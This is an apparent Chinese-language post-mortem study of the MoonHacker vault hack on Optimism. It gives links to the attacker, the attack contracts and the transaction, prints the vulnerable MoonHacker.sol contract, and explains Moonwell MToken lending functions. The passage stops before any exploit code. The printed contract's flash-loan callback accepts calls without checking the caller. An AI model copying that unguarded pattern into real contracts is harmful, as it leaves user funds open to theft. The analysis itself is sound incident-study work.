initialize
@KeyInfo - Total Lost : 318.9 k Attacker : https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52
Attack Contract1 : https://optimistic.etherscan.io/address/0x4e258f1705822c2565d54ec8795d303fdf9f768e
Attack Contract2 : https://optimistic.etherscan.io/address/0x3a6eaaf2b1b02ceb2da4a768cfeda86cff89b287
Vulnerable Contract : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847
Attack Tx : https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847#code (MoonHacker.sol)
Mtoken code : https://optimistic.etherscan.io/address/0xA9CE0A4DE55791c5792B50531b18Befc30B09dcC#code (MToken.sol)
Mtoken docs : https://docs.moonwell.fi/moonwell/developers/mtokens/contract-interactions
On-chain transaction analysis: https://app.blocksec.com/explorer/tx/optimism/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
Post-mortem : https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6
Twitter Guy : https://x.com/quillaudits_ai/status/1871607695700296041
Hacking God : https://x.com/CertiKAlert/status/1871347300918030409
Moonhacker 合约
合约内容不算复杂,主要就是用于与 Aave V3 协议进行交互,执行借贷、存款、赎回等操作。
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.10;
import {IPoolAddressesProvider} from "lib/aave-v3-core/contracts/interfaces/IPoolAddressesProvider.sol";
import {IERC20} from "lib/aave-v3-core/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
import {IPool} from 'lib/aave-v3-core/contracts/interfaces/IPool.sol';
interface IMToken {
function mint(uint mintAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowBalanceCurrent(address account) external returns (uint);
}
interface IWETH {
function deposit() external payable;
}
interface IERC20Detailed {
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IComptroller {
function claimReward() external;
function claimReward(address holder) external;
function claimReward(address holder, address[] memory mTokens) external;
}
contract MoonHacker {
event onBatchCallError( bytes data );
struct Call {
address to;
uint256 value;
bytes data;
}
address owner;
IPool POOL;
IComptroller COMPTROLLER;
enum SmartOperation{ SUPPLY, REDEEM }
modifier onlyOwner {
require(msg.sender == owner || (address(this) == msg.sender && tx.origin == owner), "not auth");
_;
}
constructor(address aavePoolAddressProvider, address comptroller) {
owner = msg.sender;
POOL = IPool(IPoolAddressesProvider(aavePoolAddressProvider).getPool());
COMPTROLLER = IComptroller(comptroller);
}
function smartSupply(address token, address mToken, uint256 amountToBorrow, uint256 amountToSupply) public onlyOwner() {
address receiverAddress = address(this);
bytes memory params = abi.encode(SmartOperation.SUPPLY, mToken, amountToSupply);
uint16 referralCode = 0;
POOL.flashLoanSimple(
receiverAddress,
token,
amountToBorrow,
params,
referralCode
);
}
function smartRedeem(address token, address mToken) public onlyOwner() {
//this is needed to accrue interest up to current index and update borrow balance
IMToken(mToken).borrowBalanceCurrent(address(this));
(uint err, uint amountToReedem, uint amountToRepay, uint exRateMantissa) = IMToken(mToken).getAccountSnapshot(address(this));
smartRedeemAmount(token, mToken, amountToReedem, amountToRepay);
}
function smartRedeemAmount(address token, address mToken, uint amountToReedem, uint amountToRepay) public onlyOwner() {
address receiverAddress = address(this);
bytes memory params = abi.encode(SmartOperation.REDEEM, mToken, amountToReedem);
uint16 referralCode = 0;
POOL.flashLoanSimple(
receiverAddress,
token,
amountToRepay,
params,
referralCode
);
}
function executeOperation(
address token,
uint256 amountBorrowed,
uint256 premium,
address initiator,
bytes calldata params
) external returns (bool) {
(SmartOperation operation, address mToken, uint256 amountToSupplyOrReedem) = abi.decode(params, (SmartOperation, address, uint256));
uint256 totalAmountToRepay = amountBorrowed + premium;
if (operation == SmartOperation.SUPPLY) {
//get amount to supply from user
//IERC20(token).transferFrom(owner, address(this), amountToSupplyOrReedem); ==> removed, we do transfer instead of approve from outside
//approve total amount to supply
uint256 totalSupplyAmount = amountBorrowed + amountToSupplyOrReedem;
IERC20(token).approve(mToken, totalSupplyAmount);
//supply total amount
require(IMToken(mToken).mint(totalSupplyAmount) == 0, "mint failed");
//borrow amount borrowed from aave plus aave fee
require(IMToken(mToken).borrow(totalAmountToRepay) == 0, "borrow failed");
//pay back to aave
IERC20(token).approve(address(POOL), totalAmountToRepay);
} else if (operation == SmartOperation.REDEEM) {
//repay
IERC20(token).approve(mToken, amountBorrowed);
require(IMToken(mToken).repayBorrow(amountBorrowed) == 0, "repay borrow failed");
require(IMToken(mToken).redeem(amountToSupplyOrReedem) == 0, "redeem failed");
//claim rewards
COMPTROLLER.claimReward(address(this));
} else {
revert("invalid op");
}
if (strcmp(IERC20Detailed(token).symbol(), "WETH")) {
//WE received ETH, we need to call 'deposit' now to wrap it into WETH
IWETH(token).deposit{value: totalAmountToRepay}();
}
//pay back to aave
IERC20(token).approve(address(POOL), totalAmountToRepay);
return true;
}
function strcmp(string memory a, string memory b) internal pure returns(bool){
return keccak256(bytes(a)) == keccak256(bytes(b));
}
function mint(address mToken, uint mintAmount) external onlyOwner returns (uint) {
return IMToken(mToken).mint(mintAmount);
}
function borrow(address mToken, uint borrowAmount) external onlyOwner returns (uint) {
return IMToken(mToken).borrow(borrowAmount);
}
function redeem(address mToken, uint redeemTokens) external onlyOwner returns (uint) {
return IMToken(mToken).redeem(redeemTokens);
}
function redeemUnderlying(address mToken, uint redeemAmount) external onlyOwner returns (uint) {
return IMToken(mToken).redeemUnderlying(redeemAmount);
}
function repayBorrow(address token, address mToken, uint repayAmount) external onlyOwner returns (uint) {
IERC20(token).transferFrom(owner, address(this), repayAmount);
IERC20(token).approve(mToken, repayAmount);
return IMToken(mToken).repayBorrow(repayAmount);
}
function repayBorrowAndReedem(address token, address mToken, uint repayAmount, uint tokensToRedeem) external onlyOwner {
IERC20(token).transferFrom(owner, address(this), repayAmount);
IERC20(token).approve(mToken, repayAmount);
require(IMToken(mToken).repayBorrow(repayAmount) == 0, "repay failed");
require(IMToken(mToken).redeem(tokensToRedeem) == 0, "redeem failed");
}
function claimReward() external onlyOwner {
return COMPTROLLER.claimReward();
}
function claimReward(address holder) external onlyOwner {
return COMPTROLLER.claimReward(holder);
}
function claimReward(address holder, address[] memory mTokens) external onlyOwner {
return COMPTROLLER.claimReward(holder, mTokens);
}
function withdrawToken(address _tokenContract, uint256 _amount) external onlyOwner {
IERC20 tokenContract = IERC20(_tokenContract);
// transfer the token from address of this contract
// to address of the user (executing the withdrawToken() function)
tokenContract.transfer(owner, _amount);
}
function withdraw() external onlyOwner {
uint256 amount = address(this).balance;
require(amount > 0, "Nothing to withdraw; contract balance empty");
(bool sent, ) = owner.call{value: amount}("");
require(sent, "Failed to send Ether");
}
function batch(Call[] memory calls) external onlyOwner {
for (uint i = 0; i < calls.length; i++) {
bytes memory data = calls[i].data;
uint256 value = calls[i].value;
address to = calls[i].to;//address(this);
uint gasLeft = gasleft();
bool success;
assembly {
//let ptr := mload(0x40)
success := call(
gasLeft,
to,
value,
add(data, 0x20),
mload(data),
0,//ptr, //output pointer ( pass 'ptr' defined above )
0//0x20 //output size
)
}
if (!success) {
//fire event...
emit onBatchCallError(data);
}
}
}
receive() external payable {}
}核心逻辑其实就几个函数。
smartSupply函数:- 触发Aave闪电贷,借入
amountToBorrow数量的代币。 - 在回调
executeOperation中,将借入资金与用户提供的amountToSupply合并存入mToken,再借出足够金额偿还闪电贷。
- 触发Aave闪电贷,借入
smartRedeem函数:- 更新借款余额后,调用
smartRedeemAmount触发闪电贷,借入资金用于还款,随后赎回mToken并领取奖励。 executeOperation 函数
- 更新借款余额后,调用
- SUPPLY操作:
- 批准并存入总金额(借入资金 + 用户资金)到mToken。
- 从mToken借出资金偿还闪电贷(本金 + 费用)。
- REDEEM操作:
- 使用闪电贷资金偿还mToken的借款。
- 赎回指定数量的mToken,并调用
COMPTROLLER.claimReward领取奖励。
- WETH处理:若操作涉及WETH,将合约收到的ETH转换为WETH以确保还款。
这里关注一下 Mtoken(moonwell 中的 ctoken) 的 mint、borrow、repayBorrow、redeem 函数。
MintInternal
Mint 主要逻辑在 mintInternal,并且会先调用 accrueInterest 函数,借贷协议中只要涉及到总借款(totalBorrows)、储备金(totalReserves)和借款指数(borrowIndex)等状态变量时,都会先调用 accrueInterest 函数来及时更新借贷市场中的借款利率,并计算借入和储备中累积的利息以及新指数,最后把相关状态变量都更新赋值。
/**
* @notice Sender supplies assets into the market and receives mTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(
uint mintAmount
) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (
fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED),
0
);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}AccrueInterest 函数,核心计算公式:
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
计算的结果:
- 新总借款(
totalBorrowsNew) : 将利息资本化到本金中,形成复利计算模型,更新后的总借款包含原始本金和新增利息。 - 累及利息(interestAccumulated) : 基于总借款本金和时间计算应计利息总量,体现资金的时间成本。
- 新的总储备金(totalReservesNew): 协议通过截留部分利息作为准备金,用于应对坏账风险或运营成本,剩余利息分配给存款人。
- 新借款指数(borrowIndexNew):跟踪每单位借款的利息增长,用于计算单个用户的实际应还利息(用户利息 = 借款金额 * (新指数 - 旧指数) / 旧指数)。
其中一些变量:
borrowRate:借款年化利率(如5%年化利率表示为0.05),需转换为每区块利率。blockDelta:经过的区块数量,代表时间间隔(例如从上次更新到当前区块的间隔)。totalBorrows:当前未偿还的总借款本金(如协议中所有用户借款总额)。reserveFactor:准备金率(如10%表示为0.1),协议从利息中提取的比例。totalReserves:现有准备金总额。borrowIndex:累积借款指数,初始值为1,随时间复利增长。
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() public virtual override returns (uint) {
/* Remember the initial block timestamp */
uint currentBlockTimestamp = getBlockTimestamp();
uint accrualBlockTimestampPrior = accrualBlockTimestamp;
/* Short-circuit accumulating 0 interest */
if (accrualBlockTimestampPrior == currentBlockTimestamp) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(
cashPrior,
borrowsPrior,
reservesPrior
);
require(
borrowRateMantissa <= borrowRateMaxMantissa,
"borrow rate is absurdly high"
);
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(
currentBlockTimestamp,
accrualBlockTimestampPrior
);
require(
mathErr == MathError.NO_ERROR,
"could not calculate block delta"
);
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(
Exp({mantissa: borrowRateMantissa}),
blockDelta
);
if (mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
uint(mathErr)
);
}
(mathErr, interestAccumulated) = mulScalarTruncate(
simpleInterestFactor,
borrowsPrior
);
if (mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
uint(mathErr)
);
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
uint(mathErr)
);
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(
Exp({mantissa: reserveFactorMantissa}),
interestAccumulated,
reservesPrior
);
if (mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
uint(mathErr)
);
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(
simpleInterestFactor,
borrowIndexPrior,
borrowIndexPrior
);
if (mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
uint(mathErr)
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockTimestamp = currentBlockTimestamp;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(
cashPrior,
interestAccumulated,
borrowIndexNew,
totalBorrowsNew
);
return uint(Error.NO_ERROR);
}MintFresh 函数
/**
* @notice User supplies assets into the market and receives mTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(
address minter,
uint mintAmount
) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(
address(this),
minter,
mintAmount
);
// emit Mint(minter, mintAmount, allowed);
if (allowed != 0) {
return (
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.MINT_COMPTROLLER_REJECTION,
allowed
),
0
);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (
fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK),
0
);
}
MintLocalVars memory vars;
(
vars.mathErr,
vars.exchangeRateMantissa
) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (
failOpaque(
Error.MATH_ERROR,
FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED,
uint(vars.mathErr)
),
0
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The mToken must handle variations between ERC-20 and GLMR underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the mToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of mTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(
vars.actualMintAmount,
Exp({mantissa: vars.exchangeRateMantissa})
);
require(
vars.mathErr == MathError.NO_ERROR,
"MINT_EXCHANGE_CALCULATION_FAILED"
);
/*
* We calculate the new total supply of mTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(
totalSupply,
vars.mintTokens
);
require(
vars.mathErr == MathError.NO_ERROR,
"MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"
);
(vars.mathErr, vars.accountTokensNew) = addUInt(
accountTokens[minter],
vars.mintTokens
);
require(
vars.mathErr == MathError.NO_ERROR,
"MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"
);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
// unused function
// comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
首先 mintAllowed 函数会检查调用者是否被允许在市场中 mint tokens。
- 检查给定账户是否可以在指定的市场铸造代币。
- 它确保市场已经列出,并且铸造操作没有被暂停。
- 它还检查是否超过了市场的供应上限(如果有的话)。
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param mToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(
address mToken,
address minter,
uint mintAmount
) external override returns (uint) {
// emit MarketListed(MToken(mToken));
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[mToken], "mint is paused");
// Shh - currently unused
mintAmount;
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
uint supplyCap = supplyCaps[mToken];
// Supply cap of 0 corresponds to unlimited supplying
if (supplyCap != 0) {
uint totalCash = MToken(mToken).getCash();
uint totalBorrows = MToken(mToken).totalBorrows();
uint totalReserves = MToken(mToken).totalReserves();
// totalSupplies = totalCash + totalBorrows - totalReserves
uint totalSupplies = sub_(
add_(totalCash, totalBorrows),
totalReserves
);
uint nextTotalSupplies = add_(totalSupplies, mintAmount);
require(nextTotalSupplies < supplyCap, "market supply cap reached");
}
emit MarketListed(MToken(mToken));
// Keep the flywheel moving
updateAndDistributeSupplierRewardsForToken(mToken, minter);
return uint(Error.NO_ERROR);
}接着 mintFresh 会做一下几个步骤,这几个步骤基本上在别的合约中也是固定。
- 会调用exchangeRateStoredInternal 计算当前汇率
- 调用doTransferIn 从 mingter 账户获取mintAmount数量的 underlying asset(例如 USDC 等)
- 计算mintTokens---⇒ mintTokens = actualMintAmount / exchangeRate
- 铸造一定的 ctoken ------ > accountTokens[minter] = vars. AccountTokensNew;
- 更新totalSupply ------ > totalSupply = vars.totalSupplyNew;
borrowInternal
同样会先调用 accrueInterest
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(
uint borrowAmount
) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return
fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(payable(msg.sender), borrowAmount);
}/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(
address payable borrower,
uint borrowAmount
) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(
address(this),
borrower,
borrowAmount
);
if (allowed != 0) {
return
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.BORROW_COMPTROLLER_REJECTION,
allowed
);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return
fail(
Error.MARKET_NOT_FRESH,
FailureInfo.BORROW_FRESHNESS_CHECK
);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.BORROW_CASH_NOT_AVAILABLE
);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(
borrower
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(
vars.accountBorrows,
borrowAmount
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(
totalBorrows,
borrowAmount
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(
borrower,
borrowAmount,
vars.accountBorrowsNew,
vars.totalBorrowsNew
);
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The mToken must handle variations between ERC-20 and GLMR underlying.
* On success, the mToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We call the defense hook */
// unused function
// comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}BorrowAllowed 函数
- 检查借款是否暂停
- 检查市场是否已列出 mToken
- 检查借款账户是否为市场成员(需要
msg.sedner调用 enterMarkets) - 使用预言机(oracle)检查市场的底层资产价格是否有效
- 检查借款上限,如果借款上限不为 0,则需要计算当前市场的总借款 totalBorrows,并检查加上当前借款请求后的总借款是否超过了上限。如果超过了借款上限,
- 检查账户的流动性是否足够(抵押资产是否足够)
- 更新并分发借款人奖励
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param mToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(
address mToken,
address borrower,
uint borrowAmount
) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[mToken], "borrow is paused");
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[mToken].accountMembership[borrower]) {
// only mTokens may call borrowAllowed if borrower not in market
require(msg.sender == mToken, "sender must be mToken");
// attempt to add borrower to the market
Error addToMarketErr = addToMarketInternal(
MToken(msg.sender),
borrower
);
if (addToMarketErr != Error.NO_ERROR) {
return uint(addToMarketErr);
}
// it should be impossible to break the important invariant
assert(markets[mToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(MToken(mToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
uint borrowCap = borrowCaps[mToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint totalBorrows = MToken(mToken).totalBorrows();
uint nextTotalBorrows = add_(totalBorrows, borrowAmount);
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(
borrower,
MToken(mToken),
0,
borrowAmount
);
emit NewBorrowCap(MToken(mToken), shortfall);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel moving
updateAndDistributeBorrowerRewardsForToken(mToken, borrower);
return uint(Error.NO_ERROR);
}然后调用borrowBalanceStoredInternal 计算新的借款余额
recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(
address account
) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(
borrowSnapshot.principal,
borrowIndex
);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(
principalTimesIndex,
borrowSnapshot.interestIndex
);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}然后计算新的借款余额和总借款
- accountBorrowsNew = accountBorrows + borrowAmount
- totalBorrowsNew = totalBorrows + borrowAmount 最后更新借款者的状态
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
RepayBorrow
直接看repayBorrowFresh ,这个就是还款,跟 borrow 反着来,理解了 borrow 这个也一样的。
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of underlying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(
address payer,
address borrower,
uint repayAmount
) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(
address(this),
payer,
borrower,
repayAmount
);
if (allowed != 0) {
return (
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION,
allowed
),
0
);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (
fail(
Error.MARKET_NOT_FRESH,
FailureInfo.REPAY_BORROW_FRESHNESS_CHECK
),
0
);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(
borrower
);
if (vars.mathErr != MathError.NO_ERROR) {
return (
failOpaque(
Error.MATH_ERROR,
FailureInfo
.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
uint(vars.mathErr)
),
0
);
}
/* If repayAmount == uint.max, repayAmount = accountBorrows */
if (repayAmount == type(uint).max) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The mToken must handle variations between ERC-20 and GLMR underlying.
* On success, the mToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(
vars.accountBorrows,
vars.actualRepayAmount
);
require(
vars.mathErr == MathError.NO_ERROR,
"REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"
);
(vars.mathErr, vars.totalBorrowsNew) = subUInt(
totalBorrows,
vars.actualRepayAmount
);
require(
vars.mathErr == MathError.NO_ERROR,
"REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"
);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(
payer,
borrower,
vars.actualRepayAmount,
vars.accountBorrowsNew,
vars.totalBorrowsNew
);
/* We call the defense hook */
// unused function
// comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}Redeem
用来赎回 underlying tokens。
- redeemer: 赎回操作的发起地址,即要赎回底层资产的用户。
- redeemTokensIn: 用户希望赎回的 mToken 数量。如果此参数大于零,则表示用户指定了要赎回的 mToken 数量。
